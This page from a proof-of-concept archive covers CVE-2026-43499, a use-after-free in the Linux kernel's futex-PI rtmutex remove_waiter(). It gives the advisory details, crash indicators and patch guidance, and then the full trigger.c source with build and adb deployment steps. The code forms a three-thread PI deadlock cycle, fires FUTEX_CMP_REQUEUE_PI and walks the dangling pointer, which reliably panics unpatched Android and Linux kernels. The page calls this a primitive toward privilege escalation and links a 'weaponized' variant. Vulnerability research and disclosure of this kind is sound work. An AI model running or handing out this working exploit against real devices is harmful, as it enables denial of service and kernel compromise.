PoC Archive PoC Archive
High CVE-2026-43499 patched

Linux Kernel Futex-PI rtmutex remove_waiter() Use-After-Free (CVE-2026-43499)

by MobiusM (PoC); reported by Yuan Tan, Yifan Wu, Juefei Pu, Xin Liu; fix by Keenan Dong, committed by Thomas Gleixner · 2026-07-05

CVSS 7.8/10
Severity
High
CVE
CVE-2026-43499
Category
binary
Affected product
Linux kernel — kernel/locking/rtmutex.c, futex-PI subsystem (futex_requeue() / rt_mutex_start_proxy_lock())
Affected versions
Linux 2.6.39 through 6.18.x; fixed in 6.1.175, 6.6.140, 6.12.86, 6.18.27, 7.0.4
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherMobiusM (PoC); reported by Yuan Tan, Yifan Wu, Juefei Pu, Xin Liu; fix by Keenan Dong, committed by Thomas Gleixner
CVE / AdvisoryCVE-2026-43499
Categorybinary
SeverityHigh
CVSS Score7.8 (CVSS 3.1, Local/Low complexity/Low privileges required — per upstream advisory)
StatusPoC
Tagslinux-kernel, android, use-after-free, futex, rtmutex, priority-inheritance, lpe, local, kernel-panic, ndk
RelatedSee also the “GhostLock” weaponized variant PoC: 2026-07-08_cve-2026-43499-ghostlock-nebula-security

Affected Target

FieldValue
Software / SystemLinux kernel — kernel/locking/rtmutex.c, futex-PI subsystem (futex_requeue() / rt_mutex_start_proxy_lock())
Versions AffectedLinux 2.6.39 through 6.18.x; fixed in 6.1.175, 6.6.140, 6.12.86, 6.18.27, 7.0.4
Language / PlatformC, compiled/run on Android (arm64-v8a, NDK) in this PoC; generic Linux kernel bug
Authentication RequiredLocal (unprivileged)
Network Access RequiredNo — local only

Summary

CVE-2026-43499 is a use-after-free in the Linux kernel’s remove_waiter() function (kernel/locking/rtmutex.c), which is shared between the ordinary rtmutex slow-unlock path and the futex priority-inheritance (PI) proxy-lock rollback path invoked from futex_requeue(). In the proxy-lock case the waiter being removed belongs to a different task than current, but remove_waiter() incorrectly operates on current, causing an rbtree dequeue without the correct task’s pi_lock held and leaving that task’s pi_blocked_on pointer dangling. This PoC (trigger.c) drives futex_requeue()/futex_lock_pi() on Android to reliably reproduce the bug, crashing the kernel with a documented panic in rt_mutex_adjust_prio_chain().


Vulnerability Details

Root Cause

remove_waiter() is called both from the standard rtmutex slow unlock path (where the waiter always belongs to current) and from rt_mutex_start_proxy_lock()’s rollback path when a futex-PI requeue operation fails partway through (where the waiter belongs to a different task that is being requeued onto the PI lock). The function assumes current is always the correct task to operate on. In the proxy-lock case this is wrong, producing three consequences:

  1. The waiter’s rbtree dequeue occurs without holding that waiter task’s pi_lock, creating a race window.
  2. The waiter task’s pi_blocked_on field is never cleared, leaving a dangling reference into freed/reused rtmutex waiter state.
  3. rt_mutex_adjust_prio_chain() subsequently walks/adjusts priority using the wrong task context.

This is tracked as CWE-416 (Use After Free). The upstream fix (commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349, “rtmutex: Use waiter::task instead of current in remove_waiter()”) changes remove_waiter() to operate on waiter::task rather than unconditionally on current.

Attack Vector

  1. An unprivileged local process sets up a futex-PI proxy-lock scenario via futex_requeue() combined with futex_lock_pi()/do_futex(), arranging for the proxy-lock rollback path in rt_mutex_start_proxy_lock() to be hit.
  2. The rollback invokes remove_waiter() on the wrong task (current instead of the actual waiter task), dequeuing rbtree state without the proper pi_lock and leaving pi_blocked_on dangling on the other task.
  3. Subsequent futex/rtmutex operations that dereference the stale pi_blocked_on pointer (via rt_mutex_adjust_prio_chain()) operate on freed/inconsistent state — reliably reproduced by the included trigger.c, which crashes the kernel deterministically (see dmesg_crash.txt).
  4. In a real exploitation scenario (beyond this repo’s crash-only PoC), controlled reallocation of the freed waiter/rtmutex state combined with the dangling pointer could be leveraged for kernel memory corruption and privilege escalation.

Impact

Local privilege escalation primitive via kernel use-after-free; this specific PoC demonstrates reliable kernel panic / denial of service (crash) on affected Android/Linux kernel builds, which is itself strong evidence of an exploitable UAF condition even without a full LPE chain in this repository.


Environment / Lab Setup

Target: Android device/emulator running an affected kernel (Linux 2.6.39–6.18.x,
        unpatched).
Prerequisites: Android NDK 27, CMake >= 3.22, Ninja, adb.

Build:
  cmake -B build -G Ninja
  cmake --build build

Deploy & run:
  adb push build/trigger /data/local/tmp/trigger
  adb shell chmod +x /data/local/tmp/trigger
  adb shell /data/local/tmp/trigger

Proof of Concept

PoC Script

See trigger.c and CMakeLists.txt in this folder. dmesg_crash.txt contains the actual kernel panic captured from a vulnerable device.

1
2
3
4
5
cmake -B build -G Ninja
cmake --build build
adb push build/trigger /data/local/tmp/trigger
adb shell chmod +x /data/local/tmp/trigger
adb shell /data/local/tmp/trigger

Running trigger on a vulnerable device drives the futex-PI requeue/proxy-lock rollback path in remove_waiter() and reliably panics the kernel with “Unable to handle kernel write to read-only memory”, crashing inside rt_mutex_adjust_prio_chain() as called from futex_lock_pi()do_futex()__arm64_sys_futex() (see dmesg_crash.txt for the full oops/backtrace).


Detection & Indicators of Compromise

dmesg / kernel log signature (see dmesg_crash.txt for the full capture):
  "Unable to handle kernel write to read-only memory at virtual address ..."
  PC is at rt_mutex_adjust_prio_chain+...
  Call trace includes: futex_lock_pi -> do_futex -> __arm64_sys_futex
  Kernel panic - not syncing: Oops: Fatal exception

Signs of compromise:

  • Unexplained kernel panics/reboots referencing rt_mutex_adjust_prio_chain or futex-PI code paths in dmesg/kernel crash logs.
  • Repeated calls to futex()/FUTEX_LOCK_PI/FUTEX_REQUEUE_PI from an unprivileged process immediately preceding a crash or unexplained reboot.
  • On Android, presence of debug-snapshot/secdbg core dumps referencing rtmutex/futex symbols.

Remediation

ActionDetail
Primary fixApply upstream commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349 (“rtmutex: Use waiter::task instead of current in remove_waiter()”); update to Linux 6.1.175, 6.6.140, 6.12.86, 6.18.27, 7.0.4, or later.
Interim mitigationNo practical workaround short of patching — futex-PI is a core kernel synchronization primitive; monitor for the crash signature above and prioritize kernel updates on affected Android/Linux devices.

References


Notes

Mirrored from https://github.com/MobiusM/CVE-2026-43499 on 2026-07-05.

trigger.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <sys/syscall.h>

#ifndef SYS_futex
#define SYS_futex 98
#endif

#ifndef FUTEX_WAIT
#define FUTEX_WAIT              0
#define FUTEX_WAKE              1
#define FUTEX_LOCK_PI           6
#define FUTEX_UNLOCK_PI         7
#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define FUTEX_PRIVATE_FLAG      128
#endif

#define FLPI (FUTEX_LOCK_PI         | FUTEX_PRIVATE_FLAG)
#define FUPI (FUTEX_UNLOCK_PI       | FUTEX_PRIVATE_FLAG)
#define FWRQ (FUTEX_WAIT_REQUEUE_PI | FUTEX_PRIVATE_FLAG)
#define FCRQ (FUTEX_CMP_REQUEUE_PI  | FUTEX_PRIVATE_FLAG)

/*
 * CVE-2026-43499 — trigger PoC
 *
 * Bug (kernel/locking/rtmutex.c, remove_waiter()):
 *   rt_mutex_start_proxy_lock() calls task_blocks_on_rt_mutex() with
 *   task = W (the waiter being requeued), setting W->pi_blocked_on = waiter.
 *   On EDEADLK the chain walk returns without cleaning up. remove_waiter()
 *   dequeues the rt_waiter from the lock's rbtree but then zeroes
 *   current->pi_blocked_on (M's) instead of waiter->task->pi_blocked_on
 *   (W's). W->pi_blocked_on is left pointing at the rt_mutex_waiter local
 *   variable on W's kernel syscall stack.  When futex_wait_requeue_pi
 *   unwinds, that frame is gone — any subsequent PI chain walk that follows
 *   W->pi_blocked_on performs a UAF on freed kernel stack memory.
 *
 * Setup (3 threads, 3 PI-capable futexes — minimum to form the cycle):
 *   futex2      (PI, PRIVATE)  O owns (futex2 = O->tid)
 *   cycle_futex (PI, PRIVATE)  W owns (cycle_futex = W->tid); O blocks on it
 *   futex1      (plain, PRIVATE) W waits here via FUTEX_WAIT_REQUEUE_PI
 *
 * Deadlock cycle walked by FUTEX_CMP_REQUEUE_PI:
 *   W → futex2_pi_mutex [owner O]
 *     → O->pi_blocked_on → cycle_futex_pi_mutex [owner W]
 *       → W == orig_task  ⟹  -EDEADLK
 *
 * Wake path:
 *   FUTEX_WAKE refuses to wake PI waiters (rt_waiter != NULL, line 186 of
 *   waitwake.c). Signals cause handle_early_requeue_pi_wakeup() to return
 *   -ERESTARTNOINTR, which unconditionally restarts the syscall — W loops.
 *   Solution: FUTEX_WAIT_REQUEUE_PI with an absolute monotonic timeout. On
 *   expiry handle_early_requeue_pi_wakeup returns -ETIMEDOUT (no restart).
 *
 * UAF crash path (observed on Samsung S921 / Linux 6.1):
 *   After EDEADLK, W->pi_blocked_on = &W_rt_waiter (W's kernel stack slot).
 *   On timeout W's futex_wait_requeue_pi frame unwinds → W_rt_waiter freed.
 *   W->pi_blocked_on now dangles.
 *   M calls FUTEX_LOCK_PI(cycle_futex): rt_mutex_adjust_prio_chain() walks
 *   the PI chain and tries to write (priority update) into the stale waiter.
 *   The freed stack page is now read-only → permission fault at
 *   rt_mutex_adjust_prio_chain+0x3e0 → kernel panic:
 *   "Unable to handle kernel write to read-only memory"
 */

static uint32_t futex1      = 0;
static uint32_t futex2      = 0;
static uint32_t cycle_futex = 0;

static volatile int o_ready    = 0;
static volatile int w_ready    = 0;
static volatile int o_blocking = 0;
static volatile int w_waiting  = 0;
static volatile int uaf_probe  = 0;

static long xfutex(uint32_t *u, int op, uint32_t val,
                   void *ts, uint32_t *u2, uint32_t v3)
{
    return syscall(SYS_futex, u, op, val, ts, u2, v3);
}

static void dbg(const char *s) { write(2, s, strlen(s)); }

static void dbg_long(const char *prefix, long v, int en)
{
    char buf[128];
    int n = snprintf(buf, sizeof(buf), "%s%ld  errno=%d (%s)\n",
                     prefix, v, en, strerror(en));
    write(2, buf, n);
}

static void *owner_fn(void *unused)
{
    (void)unused;
    pid_t tid = (pid_t)syscall(SYS_gettid);

    __atomic_store_n(&futex2, (uint32_t)tid, __ATOMIC_RELEASE);
    __atomic_store_n(&o_ready, 1, __ATOMIC_RELEASE);

    while (!__atomic_load_n(&w_ready, __ATOMIC_ACQUIRE))
        sched_yield();

    __atomic_store_n(&o_blocking, 1, __ATOMIC_RELEASE);
    /* blocks: kernel sets O->pi_blocked_on = &O_rt_waiter on cycle_futex_pi_mutex */
    xfutex(&cycle_futex, FLPI, 0, NULL, NULL, 0);
    xfutex(&cycle_futex, FUPI, 0, NULL, NULL, 0);
    return NULL;
}

static void *waiter_fn(void *unused)
{
    (void)unused;
    pid_t tid = (pid_t)syscall(SYS_gettid);
    struct timespec ts;
    long r;

    while (!__atomic_load_n(&o_ready, __ATOMIC_ACQUIRE))
        sched_yield();

    __atomic_store_n(&cycle_futex, (uint32_t)tid, __ATOMIC_RELEASE);
    __atomic_store_n(&w_ready, 1, __ATOMIC_RELEASE);

    while (!__atomic_load_n(&o_blocking, __ATOMIC_ACQUIRE))
        sched_yield();
    usleep(20000); /* let O enter kernel and establish O->pi_blocked_on */

    __atomic_store_n(&w_waiting, 1, __ATOMIC_RELEASE);

    /*
     * Absolute monotonic deadline 2 seconds from now.
     * FUTEX_CMP_REQUEUE_PI fires within ~60ms so EDEADLK happens well
     * before the deadline.  On timeout handle_early_requeue_pi_wakeup()
     * returns -ETIMEDOUT (not -ERESTARTNOINTR), so the syscall exits cleanly
     * and the futex_wait_requeue_pi stack frame — including W_rt_waiter —
     * is freed, leaving W->pi_blocked_on dangling.
     */
    clock_gettime(CLOCK_MONOTONIC, &ts);
    ts.tv_sec += 2;

    r = xfutex(&futex1, FWRQ, 0, &ts, &futex2, 0);
    dbg_long("[W] FUTEX_WAIT_REQUEUE_PI returned ", r, errno);

    /* Thrash W's kernel stack so W_rt_waiter slot gets overwritten. */
    for (volatile int i = 0; i < 200; i++)
        syscall(SYS_getpid);

    /* Signal M: W's stack is freed and overwritten, UAF window is open. */
    __atomic_store_n(&uaf_probe, 1, __ATOMIC_RELEASE);

    /*
     * Stay alive as cycle_futex owner long enough for M to call
     * FUTEX_LOCK_PI(cycle_futex) and trigger the chain walk UAF while
     * W->pi_blocked_on is still stale.  500ms covers any scheduling jitter
     * from interactive shells, CPU affinity, or competing tasks.
     */
    usleep(500000);

    /* Unlock cycle_futex: wakes O, then O unlocks so M can acquire. */
    xfutex(&cycle_futex, FUPI, 0, NULL, NULL, 0);
    return NULL;
}

int main(void)
{
    pthread_t oth, wth;

    dbg("CVE-2026-43499 trigger\n");

    pthread_create(&oth, NULL, owner_fn, NULL);
    pthread_create(&wth, NULL, waiter_fn, NULL);

    while (!__atomic_load_n(&w_waiting, __ATOMIC_ACQUIRE))
        sched_yield();
    usleep(40000); /* let W land in kernel FUTEX_WAIT_REQUEUE_PI queue */

    dbg("[M] deadlock chain: W->futex2(O)->cycle_futex(W)->W\n");
    dbg("[M] firing FUTEX_CMP_REQUEUE_PI\n");

    long ret = xfutex(&futex1, FCRQ,
                      1,                    /* nr_wake (must be 1 for requeue_pi) */
                      (void *)(uintptr_t)1, /* nr_requeue = 1                     */
                      &futex2,              /* PI target                          */
                      0);                   /* cmpval for futex1                  */
    int err = errno;
    dbg_long("[M] FUTEX_CMP_REQUEUE_PI = ", ret, err);

    if (ret == -1 && err == EDEADLK) {
        dbg("[M] EDEADLK: W->pi_blocked_on is stale — waiting for W timeout\n");

        while (!__atomic_load_n(&uaf_probe, __ATOMIC_ACQUIRE))
            sched_yield();

        /*
         * UAF probe: FUTEX_LOCK_PI(cycle_futex) forces a PI chain walk.
         * rt_mutex_adjust_prio_chain(owner=W) reads W->pi_blocked_on->lock
         * — stale pointer into W's freed kernel stack → UAF.
         */
        dbg("[M] UAF probe: FUTEX_LOCK_PI(cycle_futex)\n");
        xfutex(&cycle_futex, FLPI, 0, NULL, NULL, 0);
        dbg("[M] UAF probe returned\n");
        xfutex(&cycle_futex, FUPI, 0, NULL, NULL, 0);
    }

    pthread_join(wth, NULL);
    pthread_join(oth, NULL);
    return 0;
}